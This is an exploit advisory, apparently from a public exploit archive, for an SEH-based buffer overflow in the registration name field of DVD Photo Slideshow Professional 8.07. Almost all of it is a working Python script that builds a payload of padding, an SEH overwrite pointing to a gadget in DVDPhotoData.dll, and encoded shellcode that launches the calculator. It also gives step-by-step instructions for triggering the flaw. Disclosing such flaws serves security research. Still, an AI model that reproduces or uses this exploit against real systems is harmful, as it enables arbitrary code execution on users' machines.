DVD Photo Slideshow Professional 8.07 Name Buffer Overflow

2020.02.14
Credit: ZwX
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#Exploit Title: DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow #Exploit Author : ZwX #Exploit Date: 2020-02-10 #Vendor Homepage : http://www.picture-on-tv.com/ #Tested on OS: Windows 10 v1803 #Social: twitter.com/ZwX2a ## Steps to Reproduce: ## #1. Run the python exploit script, it will create a new file with the name "name.txt". #2. Just copy the text inside "name.txt". #3. Start the program. In the new window click "Help" > "Register ... #4. Now paste the content of "name.txt" into the field: "Registration Name" > Click "Ok" #5. The calculator runs successfully #!/usr/bin/python from struct import pack buffer = "\x41" * 256 nseh = "\xeb\x06\xff\xff" seh = pack("<I",0x1004bb51) #0x1004bb51 : pop edi # pop esi # ret 0x0c | {PAGE_EXECUTE_READ} [DVDPhotoData.dll] #ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.6.0 (C:\Program Files\DVD Photo Slideshow Professional\DVDPhotoData.dll) long_buffer = "\x44" * 600 shellcode = "" shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29" shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca" shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca" shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2" shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17" shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59" shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1" shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf" shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82" shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5" shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4" shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20" shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d" shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee" shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9" shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a" shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d" payload = buffer + nseh + seh + shellcode + long_buffer try: f=open("name.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"


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